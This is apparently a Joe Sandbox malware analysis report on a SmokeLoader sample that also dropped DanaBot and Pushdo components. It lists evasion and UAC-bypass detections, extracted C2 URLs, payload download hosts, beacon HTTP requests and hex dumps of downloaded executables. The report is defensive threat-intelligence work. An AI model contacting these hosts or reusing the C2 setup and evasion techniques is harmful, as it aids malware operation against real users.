Edit tour

Windows Analysis Report
GyTbKONlyq.exe

Overview

General Information

Sample Name:	GyTbKONlyq.exe
Original Sample Name:	00dfb3bda309b0e16f6ea1928ce72721.exe
Analysis ID:	809557
MD5:	00dfb3bda309b0e16f6ea1928ce72721
SHA1:	bd0ecf684b7c85d3a6b8054f2c136c1103cdc184
SHA256:	fb4950bff0a9a33d985477a59208c9dc05198d186cc0009f0ebba58a3ecc8046
Tags:	exeSmokeLoader
Infos:

Detection

Pushdo, DanaBot, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected DanaBot stealer dll

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Snort IDS alert for network traffic

Yara detected Backdoor Pushdo

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

PE file has a writeable .text section

Machine Learning detection for sample

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to infect the boot sector

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Drops PE files to the user directory

Dropped file seen in connection with other malware

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Installs a raw input device (often for capturing keystrokes)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

GyTbKONlyq.exe (PID: 5436 cmdline: C:\Users\user\Desktop\GyTbKONlyq.exe MD5: 00DFB3BDA309B0E16F6EA1928CE72721)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

D2B5.exe (PID: 6116 cmdline: C:\Users\user\AppData\Local\Temp\D2B5.exe MD5: 7CB3BB706DBEF286C79433E12F459EB2)

B7BD.exe (PID: 5372 cmdline: C:\Users\user\AppData\Local\Temp\B7BD.exe MD5: 95BF7AA7949C549B0B92405A4EC9E475)

3896.exe (PID: 1636 cmdline: C:\Users\user\AppData\Local\Temp\3896.exe MD5: A0114856020C2A20C6C85A7DB2027B03)

gjsvvic (PID: 4768 cmdline: C:\Users\user\AppData\Roaming\gjsvvic MD5: 00DFB3BDA309B0E16F6EA1928CE72721)

B7BD.exe (PID: 3176 cmdline: "C:\Users\user\AppData\Local\Temp\B7BD.exe" MD5: 95BF7AA7949C549B0B92405A4EC9E475)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.471859988.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.491460370.0000000000921000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xff8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.349438381.0000000000940000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000002.415409935.0000000000860000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000002.00000002.415684725.00000000008EC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x75e3:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xb28:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.349678189.000000000099B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6ed3:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.591542045.0000000001440000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.3896.exe.1440000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.B7BD.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
6.2.B7BD.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
11.2.B7BD.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.B7BD.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
12.2.3896.exe.1440000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
5.3.D2B5.exe.3170000.0.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
5.3.D2B5.exe.3170000.0.raw.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 3 entries

Snort Signatures

ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 - Source IP: 192.168.2.4 - Destination IP: 86.122.83.142

Timestamp:	192.168.2.486.122.83.14249697802851815 02/16/23-10:01:19.336000
SID:	2851815
Source Port:	49697
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected DanaBot stealer dll

Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://h167471.srv11.test-hf.su/64.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: GyTbKONlyq.exe

ReversingLabs: Detection: 33%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3896.exe

ReversingLabs: Detection: 20%

Machine Learning detection for sample

Source: GyTbKONlyq.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\gjsvvic	Joe Sandbox ML: detected
Source: C:\Users\user\pigalicapi.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3896.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Joe Sandbox ML: detected

Source: 12.0.3896.exe.fe0000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 11.2.B7BD.exe.25d312c.2.unpack	Avira: Label: TR/Patched.Ren.Gen7
Source: 12.2.3896.exe.17f0000.3.unpack	Avira: Label: TR/Patched.Gen
Source: 12.2.3896.exe.144e290.1.unpack	Avira: Label: TR/Downloader.Gen
Source: 12.2.3896.exe.1440000.2.unpack	Avira: Label: TR/Spy.Gen
Source: 12.2.3896.exe.fe0000.0.unpack	Avira: Label: TR/ATRAPS.Gen4

Source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 6.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 6.2.B7BD.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 11.2.B7BD.exe.400000.0.unpack

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\3896.exe

Unpacked PE file: 12.2.3896.exe.1440000.2.unpack

Source: GyTbKONlyq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.4:49704 version: TLS 1.2

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: B7BD.exe, B7BD.exe, 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\suj.pdb source: GyTbKONlyq.exe, gjsvvic.1.dr
Source:	Binary string: 0>C:\jesimifuxojup\posu\50\w.pdb source: explorer.exe, 00000001.00000003.417030884.000000000CADA000.00000004.00000001.00020000.00000000.sdmp, D2B5.exe, 00000005.00000000.429629803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, D2B5.exe.1.dr
Source:	Binary string: C:\jesimifuxojup\posu\50\w.pdb source: explorer.exe, 00000001.00000003.417030884.000000000CADA000.00000004.00000001.00020000.00000000.sdmp, D2B5.exe, 00000005.00000000.429629803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, D2B5.exe.1.dr
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp, B7BD.exe, 0000000B.00000002.491723553.00000000025CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp, B7BD.exe, 0000000B.00000002.491723553.00000000025CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: " A=\|8c4C:\jug.pdb source: B7BD.exe, 00000006.00000000.451317221.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B7BD.exe, 0000000B.00000000.469377004.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\jug.pdb source: B7BD.exe, 00000006.00000000.451317221.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B7BD.exe, 0000000B.00000000.469377004.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: SC:\suj.pdb source: GyTbKONlyq.exe, gjsvvic.1.dr

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 123.140.161.243 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.212.182.57 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 58.235.189.192 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 175.126.109.15 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.104.254.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.245.185.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 86.122.83.142 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.4:49697 -> 86.122.83.142:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://perficut.at/tmp/
Source: Malware configuration extractor	URLs: http://rutobacco.ru/tmp/
Source: Malware configuration extractor	URLs: http://aingular.com/tmp /
Source: Malware configuration extractor	URLs: http://piratia-life.ru/tmp/

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.2Date: Thu, 16 Feb 2023 09:01:19 GMTContent-Type: application/octet-streamContent-Length: 3837952Last-Modified: Thu, 16 Feb 2023 09:00:03 GMTConnection: keep-aliveETag: "63edf093-3a9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 92 2a 9d 19 f3 44 ce 19 f3 44 ce 19 f3 44 ce 07 a1 d1 ce 04 f3 44 ce 07 a1 c7 ce 70 f3 44 ce 07 a1 c0 ce 31 f3 44 ce 3e 35 3f ce 10 f3 44 ce 19 f3 45 ce 66 f3 44 ce 07 a1 ce ce 18 f3 44 ce 07 a1 d0 ce 18 f3 44 ce 07 a1 d5 ce 18 f3 44 ce 52 69 63 68 19 f3 44 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 51 4e 4d 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 32 71 00 00 00 00 00 bf 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 72 00 00 04 00 00 c6 31 3b 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 26 01 00 64 00 00 00 00 a0 71 00 58 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 72 00 c8 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 00 00 18 00 00 00 e0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 58 70 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 76 00 00 00 a0 71 00 00 78 00 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 5e 00 00 00 20 72 00 00 60 00 00 00 30 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Thu, 16 Feb 2023 09:02:11 GMTContent-Type: application/octet-streamContent-Length: 459264Connection: keep-aliveKeep-Alive: timeout=20Last-Modified: Thu, 16 Feb 2023 07:11:07 GMTETag: "70200-5f4cbe68c35fb"Accept-Ranges: bytesX-Power-Supply-By: 220 VoltData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qdbxyimc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://veixmsu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 239Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jvhoh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: perficut.at
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aoeqn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://siulsd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqltevimc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sgnfxmtkcw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: perficut.at
